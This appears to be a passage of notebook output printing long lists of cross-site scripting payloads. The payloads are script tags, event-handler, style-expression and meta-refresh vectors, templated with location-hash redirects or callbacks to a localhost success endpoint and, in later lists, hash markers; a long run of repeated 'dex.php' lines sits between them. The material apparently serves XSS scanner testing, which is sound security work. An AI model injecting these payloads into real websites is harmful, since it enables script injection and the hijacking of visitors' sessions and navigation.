      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<IMG SRC=&{http://localhost:19084/success/6435120968bb34d868c014947790c251};>\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/2850db3b4217d5a17d961a8e5512e787\">\n",
      "<IMG SRC=http://localhost:19084/success/51e8275bbed598c6561c2f0a70d4fadb>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<IMG SRC=`http://localhost:19084/success/6f7768db48be4e8277cdeecf5f3f3648`>\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/f6f1612e5cf287494a01e43b93245265')</SCRIPT>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG SRC=\"http://localhost:19084/success/46f866e11c3eae3a76969da52c6633ce\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/93ab4ff96ecdc9e4dd4308fec20f1c9c'>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/27c56866376cbdde7e17c93004466989\">\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/abaf7e271eaeab7543af83f1804fd7c4\">\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/f19c0837ac0b1c2f328cfc4a4cc6d64d</SCRIPT>\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/8707870f4d3fa8b8722fc70e298dc119\">\n",
      "<IMG SRC='http://localhost:19084/success/9c928d205ad3dc7b130bd95e7e1674f9'\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/fcf53c3130be775eb56351b8af9b9398\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IFRAME SRC=\"http://localhost:19084/success/040499c450213c617a4e11aaf7abc354\"></IFRAME>\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/183c4de75d5c003ede20139e4db85868]\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/914a88bca98ceb19e678428584c87142\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/2b9c08cafe67d9bfe661925f367ffe30\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/8a2c997338b985382f2a8262985f5df5\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/b163d827c10b3de343266dc6e76e1f6c\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/0325531d7c96efe30963bf8a1f03b52d\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/38169b3f0b84baf01c5ac6c2ce2412a9\">\n",
      "<IMG SRC=&{http://localhost:19084/success/0c626cd90785693d0fb399aebc039eee};>\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/a94237543576765320e2a2ed3cb1dc31]\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/f4bda6f044c64dfe821df7f0916aa772\")}</STYLE>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/d52d4a7c179044ee6bdd921b2a39431a\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "--- <IMG SRC=\"http://localhost:19084/success/db0a14783087040fcccc0e84fc681514\"\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/f524be0cf7c2d1a4470087330b6864bb\");}</STYLE><A CLASS=XSS></A>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/b136982a293df7e77e629b5344bd2bfb\")\";eval(a+b+c+d);\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/e2907a14f9033bdcf9cbdf9ed772bb4d\">\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\">aee55c362fd80116b9292db59af87238\n",
      "\"><SCRIPT>alert('54bfead3f887d01e4927be9a92044406')</SCRIPT>\n",
      "</TITLE>2f0de19b56cef0ae77c27a710cbb972b\n",
      "'';!--\"<215dc353c33554648cf0c48d486bae59>=&{()}\"\n",
      "\"><img src=\"x:x\" onerror=\"05ee89c0f74b24c3ee2898c4e50dd37d\">\n",
      "'';!--\"<e54a5184a9c945ca23be47222492c1ae>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=1f6539ea5a491e2f0eaaa233bd118205>\n",
      "<IMG SRC=bdf7ae3bbbe7ee23f84bed33e41dc9cf>\n",
      "<IMG SRC=\"da23e491cd1823d1d0ffeca0a18521c7\">\n",
      "<IMG SRC=`255c2210d09479e63dc6c9e8e6a64f61`>\n",
      "<IMG SRC=\" &#14;  80a664672c8b9fc1ac3e3a0439857a0d\">\n",
      "<IMG \"\"\">c22e2d18910301af0ee2231271e43b72\">\n",
      "<DIV STYLE=\"behaviour: url(a9a3aab6493f38d9c491b26ed5a4d241);\">\n",
      "<<SCRIPT>d03a0abab95282222ccc25c705a09d1f//<</SCRIPT>\n",
      "\";5a7b8339530ecbdb73f7a647eec92b0c//\n",
      "<IMG SRC='9c560cbab6055d2747a898db4b99b36d'\n",
      "<BODY BACKGROUND=\"3a2584c4acf580c5ad8f14373312c446\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"6a01be57e5d32ddf8e0c3b04a37edc8b\">\n",
      "<BODY ONLOAD=9e34ee0a71da66c56109b9fc26f3ba54>\n",
      "<IMG DYNSRC=\"b52e2a0677e2ac34446c151953be1be6\">\n",
      "<IMG LOWSRC=\"946ed4179b3d2ad4d41ac85492e0f06f\">\n",
      "<BGSOUND SRC=\"924e5ee8e4ec1a2b91e3bd457e00acec\">\n",
      "<BR SIZE=\"&{e626cf7a4a5d34b8c7e3082a66c323cc}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"ba69b142c6d3d229e5d4041c457d63f6\">\n",
      "<IMG SRC='vbscript:af6be85d2e6a721e2b0f83f50b2fe7ef'>\n",
      "<IMG SRC=\"mocha:[87cedb248c31b3bdc76a86c1c535b5ea]\">\n",
      "<IMG SRC=\"livescript:[228bbd46c83f1c89bd5349bf115f5060]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=affcc89182723c789fdaf88950a698c7\">\n",
      "<TABLE BACKGROUND=\"f2ce6393ee6b3d54547a6285cb6ba4d4\">\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<TABLE BACKGROUND=javascript:9d9b1fadaf7f13d6dcb5221ac433876c>\n",
      "<TABLE><TD BACKGROUND=\"a981207b18357007f24d25c4e9330dff\">\n",
      "<DIV STYLE=\"background-image: url(9b4fd471f7a34861fa698684674b940e);\">\n",
      "<IFRAME SRC=\"ee0983c77985b027b7225904c42965ad\"></IFRAME>\n",
      "<DIV STYLE=\"width: expression(1a4663c1d60e0b486efade735cbed5b5);\">\n",
      "<iframe/ /onload=5bdf431559c2ca1680415d34fc9c5783></iframe>\n",
      "<iframe/ \"onload=e3f3ee3bcb58f1ed0333fa9e4e6bd68f></iframe>\n",
      "<iframe///////onload=86acf18c534b81729407464653cab7ec></iframe>\n",
      "<iframe \"onload=cee9e73f8140d2e6caf1c76373caaecc></iframe>\n",
      "<iframe/ \"onload=725fed560d3d5f8125ced82d2f294059></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=b59b81701476ca2043f9ef04675942e1></iframe>\n",
      "<TABLE BACKGROUND=\"088b336e3230e65b5f03aa6a17b9c068\">\n",
      "<FRAMESET><FRAME SRC=\"7c4273da9a5f1b725ca1ad7fe988f063\"></FRAMESET>\n",
      "<iframe<?php echo chr(12)?> onload=5cf10ce7e9cbff7541959e16157767d3></iframe>\n",
      "<TABLE><TD BACKGROUND=\"7891ee3a0b3a7113275d3d97d44f073f\">\n",
      "<DIV STYLE=\"background-image: url(&#1;b6d55672903acedfd29e1a1ba598019a)\">\n",
      "<DIV STYLE=\"width: expression(9b6f161248963ef00551daf8f01588f0);\">\n",
      "<IMG STYLE=\"xss:expr/*31229b20c2825681a48ac07fdc66129c*/ession(31229b20c2825681a48ac07fdc66129c)\">\n",
      "<9b582d9c7f42dd418db263cb5d57ba78 STYLE=\"xss:expression(9b582d9c7f42dd418db263cb5d57ba78)\">\n",
      "<STYLE TYPE=\"text/javascript\">066b36ccd01d5b13fb1b4eab41b2b384</STYLE>\n",
      "<STYLE>.1ffa03a9ea5cdde9fa82c56083f73e54{background-image:url(\"1ffa03a9ea5cdde9fa82c56083f73e54\");}</STYLE><A CLASS=1ffa03a9ea5cdde9fa82c56083f73e54></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"b1b32d28d96ed83f1ee7cab930f33aaa\")}</STYLE>\n",
      "<!--[if gte IE 4]>3ba4dbea92c5cf60bcc9b8f6f7d407d6<![endif]-->\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;2ffd9e14867367304211b3f4e1682ce8&lt;/SCRIPT&gt;\">\n",
      "<BASE HREF=\"747bc888619e17828b6865e6f3762c2d//\">\n",
      "<? echo('<SCR)';echo('IPT>80ad5d288b0218b0f391be8029309294</SCRIPT>'); ?>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"411ea18ab8bd5cfc62dc73d3a904dc6c\")\";eval(a+b+c+d);\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=4704adfac8682b423cf8219a0929c22b></OBJECT>\n",
      "<SCRIPT SRC=http://127.0.0.1>3a467b30a3ef88024a8890171b56deec</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:d3276f37bef1f7f8d7365b78ec5fbbba\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:ffc7b728a1f678a66e576597cc2cfd42\">\n",
      "--- <IMG SRC=\" &#14;  3b7c573ff4500c37d5aaab4787c7d74f\">\n",
      "--- <IMG SRC=\"be9c8c0cc6e726747a6761ed39667b48\"\n",
      "<SCRIPT>a=/606c9a049c2023b131da0b3bd281fcf4/alert(a.source)</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=ffdeed5a1f5a8348800ea881d928c5dc\">\n",
      "--- \";85c7ddfb6d90531717a693ec5cfce955;//\n",
      "<SCRIPT <B>=5d224a98704de4a06beb2a6edd5e80e5\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:c2869d7570a1233ae119f738d72d3aad <\n",
      "<SCRIPT>a=/fc251eb3695d2310f3a748ccd3579035/nfc251eb3695d2310f3a748ccd3579035</SCRIPT>\n",
      "<LAYER SRC=\"javascript:292520c4df47ca1a79626b9476ee7a01></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"96bf727fd544707f01b036bdf7b6e568</STYLE><UL><LI>96bf727fd544707f01b036bdf7b6e568\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:2c62c66d4a487d0acb159e6f3963530a\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-2f21649f0d75917af3074cfa2970a311+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#1bb09fe1d1f630dfa6a95d630cd46d93\">\n",
      "<input type=\"image\" dynsrc=\"948bb0d9bc1b1ecb678f85c9d52623b7\">\n",
      "<DIV STYLE=\"binding: url(javascript:c9b3a779e8d754c4c7d219ba2d886221);\">\n",
      "<IMG SRC=&{d90ae15ccbb38bc8577719e4da532540};>\n",
      "&dc24b32b843c2982115db0321a62fdd6\">\n",
      "<a href=\"about:554cac283e4f22773f3133a29ad3f27a\">\n",
      "![CDATA[<!--]]<SCRIPT>94a1e8cdd4cb796cf787128ec74ade1c//--></SCRIPT>\n",
      "<style><!--</style><SCRIPT>57b200a73e55fad87765a9e0becc9270//--></SCRIPT>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:7037012127603d446d3659cb7cb7d4aa\">\n",
      "&{d39aa7c00c446cddcabdf3dd11e50123};\n",
      "<!-- -- -->2922cd72965cde6d7753c86951bec5fb<!-- -- -->\n",
      "<xml id=\"X\"><a><b>f20a7adac75c890542fbc8d65bda1fe6;<b></a></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:e4a0323c5147f281577e2b537cf47a47\">X\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:5b1a73f6e88c07fca8bff54a3da04fc2\">]]</C><X></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#0a1ebd1a8d810bc77dbd430b2ca77176\"></div>\n",
      "<input onfocus=javascript:7d02ddd99bd7e75d4341a8082b0a20e6 autofocus>\n",
      "<select onfocus=javascript:0ff01483e65c542b49882d68ee859bbf autofocus>\n",
      "<textarea onfocus=javascript:b510c73abfb0d7e451e9386df96ef56b autofocus>\n",
      "X<form id=test onforminput=javascript:791b8dba586378dba9626acac17bc9db><input></form>\n",
      "<input onblur=javascript:5836e70a9bb084fdf5c12b3ef9bf703f autofocus><input autofocus>\n",
      "<video poster=javascript:f68dc6ddeb5a046598cfba38104dd51c//\n",
      "<keygen onfocus=javascript:de9de62d8d24db8ecaff6e596b91d49d autofocus>\n",
      "<body onscroll=e572e5c49b9debc7194eba5648fdb937><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video><source onerror=\"javascript:f49e8e987b0312b4fee5fdb1a16b00f7\">\n",
      "<video onerror=\"javascript:61855885e580f5e8476fa4453ce89365\"><source>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:4b30bfda238f39b9e6c2a13412f87c43>X\n",
      "dex.php\n",
      "dex.php\n",
      "\">3a9f405f81b5861188e81c6b52b5f49f\n",
      "\"><SCRIPT>alert('09c84a2d937573897d8cb227460301a1')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"10590af7fcec8f37377532302bd3d15e\">\n",
      "</TITLE>f1825d2b03ef2c7e4f50788765e96df0\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=cac5073859e73a60c3243c2293a0e93c>\n",
      "'';!--\"<98317ef7ac783f9067756d1c97577e24>=&{()}\"\n",
      "<IMG SRC=004fb37c179f696c6547a7b61bcef34a>\n",
      "<IMG SRC=\"62bde80ba2305859733409bff2961ee0\">\n",
      "'';!--\"<c090ab62d5e1d0a15556d8eb609c9974>=&{()}\"\n",
      "<IMG SRC=`4cc8284e60ef2aa894c8aec45fe00ede`>\n",
      "<IMG SRC=\" &#14;  715ceafb92995533d611eb5a19878916\">\n",
      "<IMG \"\"\">17c56912a6a5ab28af2a3b6576a39c48\">\n",
      "<DIV STYLE=\"behaviour: url(c24157ce769752dddae037be45e63720);\">\n",
      "<<SCRIPT>566ffb485d443e0375e5f70317c3ee76//<</SCRIPT>\n",
      "\";56ee2f8321e73f78813508c6fd5dbfb3//\n",
      "<IMG SRC='4b4e1e964836a8207d93f4688f6553e2'\n",
      "<BODY BACKGROUND=\"d2e5b34b67b5ff305b0c53cb2ecb5a8e\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"f3b8ff85b17dc228c011c8b38800232c\">\n",
      "<BODY ONLOAD=80c624706a43608d83dbaa216e5d954a>\n",
      "<IMG DYNSRC=\"df54409357f3faa3f56cdc2f92dec80e\">\n",
      "<IMG LOWSRC=\"18c7a2763740aa628201d7f065c1ba6a\">\n",
      "<BGSOUND SRC=\"29e7eb1fdb96994051c027cb44181c6d\">\n",
      "<BR SIZE=\"&{9ce6b5fa45b8495347cf6d6c6dcf8173}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"4caa03a17287328ce5ceee139df700d5\">\n",
      "<IMG SRC=\"mocha:[b48a5d192b0e52e823a56733e0714424]\">\n",
      "<IMG SRC='vbscript:6f3f6a59969b20858c690b840c21d49e'>\n",
      "<IMG SRC=\"livescript:[5da9b636eac7656750461b6d6d8d7d28]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=6881b3f24cd405e7e28ed88cea85a235\">\n",
      "<TABLE BACKGROUND=\"84c7e2f78a300c6e2c1513f591e16516\">\n",
      "<TABLE BACKGROUND=javascript:ddc39a1a14106072ddd949faf3de1759>\n",
      "<DIV STYLE=\"background-image: url(1d97e7a18a7373b2d153bdf1abd2fc0b);\">\n",
      "<TABLE><TD BACKGROUND=\"504aa22834621d5937e2b3ee8b04d7bf\">\n",
      "<DIV STYLE=\"width: expression(a0c6686dec82821cd90d9821e363de24);\">\n",
      "<IFRAME SRC=\"87c276c645760a288b4f2ea3ccb9500a\"></IFRAME>\n",
      "<iframe/ /onload=9ac81b397aaa541b37a94212be5d67ce></iframe>\n",
      "<iframe///////onload=877d480926d73597e71209e4bb1009ed></iframe>\n",
      "<iframe/ \"onload=1601b66ebc153d2b113e8a501f967141></iframe>\n",
      "<iframe \"onload=dded79182f4fc5f10b3fbe129ae926c4></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=9c8467071153ca6fe4c3bcb647ec4b2f></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=97a022782b2ed33415541cea3ef7a2cf></iframe>\n",
      "<iframe/ \"onload=bb89819b107ad788634b16cfe885e314></iframe>\n",
      "<FRAMESET><FRAME SRC=\"dfc82b66284c88397cba7ff20986a675\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"77ec82932adee1cccb2cf95c27af8c37\">\n",
      "<DIV STYLE=\"width: expression(3468810f456a0d097394dff582c7c1c6);\">\n",
      "<DIV STYLE=\"background-image: url(&#1;dd2fe44a95d37be61e1165248f91e283)\">\n",
      "<TABLE><TD BACKGROUND=\"5bd4ee12b3f06eb701948cae71cdf49a\">\n",
      "<IMG STYLE=\"xss:expr/*0184a038595898f740a5d63d5b40d5ca*/ession(0184a038595898f740a5d63d5b40d5ca)\">\n",
      "<68615459cab9e7574b685bec6a9ca1f3 STYLE=\"xss:expression(68615459cab9e7574b685bec6a9ca1f3)\">\n",
      "<STYLE TYPE=\"text/javascript\">1a1e7a63e74747d7bfea01eec2475f35</STYLE>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"f55249e2885f8fb6afca3f2c4ffa223a\")}</STYLE>\n",
      "<STYLE>.56adcbd2411d8a18223341fcab22cdcd{background-image:url(\"56adcbd2411d8a18223341fcab22cdcd\");}</STYLE><A CLASS=56adcbd2411d8a18223341fcab22cdcd></A>\n",
      "<!--[if gte IE 4]>8685d15aed514e521a0c8b75f52e5861<![endif]-->\n",
      "<BASE HREF=\"7413e9a07eb54a3901f460a7a2f77cbb//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=034f34ab15eab911679d16eae03b5cda></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"5117b26cbeaba0ec948ae0f693941db7\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>cca55bc35c02bd3b20c672760507ef52</SCRIPT>'); ?>\n",
      "<SCRIPT SRC=http://127.0.0.1>8a2945db9a9969eaba745eeb8814241e</SCRIPT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;7aef921404d908bdf3af1541209e5af4&lt;/SCRIPT&gt;\">\n",
      "<IMG SRC=\"&14;javascript:ec96808b4202ece5fd4728f6d79ed823\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:07ca0db5da405e90dd629bc08cfaddf8\">\n",
      "--- <IMG SRC=\" &#14;  cd49ace31e0bb18f7216a333575e8139\">\n",
      "--- <IMG SRC=\"dfd59315b440a7bae2b51e7994dce36c\"\n",
      "<SCRIPT>a=/2a67ab45fd7e4f1f58dcb61e88875442/alert(a.source)</SCRIPT>\n",
      "--- \";a11a81aa67426386284fdd8c606e4301;//\n",
      "<IFRAME SRC=\"javascript:a892583606b9d12822b70e2e78f0f03f <\n",
      "<SCRIPT>a=/a10d9b94a04b9036ee85104bdb955734/na10d9b94a04b9036ee85104bdb955734</SCRIPT>\n",
      "<SCRIPT <B>=a9481c1e9df8fe84c7cc5a24ffdf4b46\"></SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=f9d2910cd2e9cd3f8ab15c3b8b2b96e9\">\n",
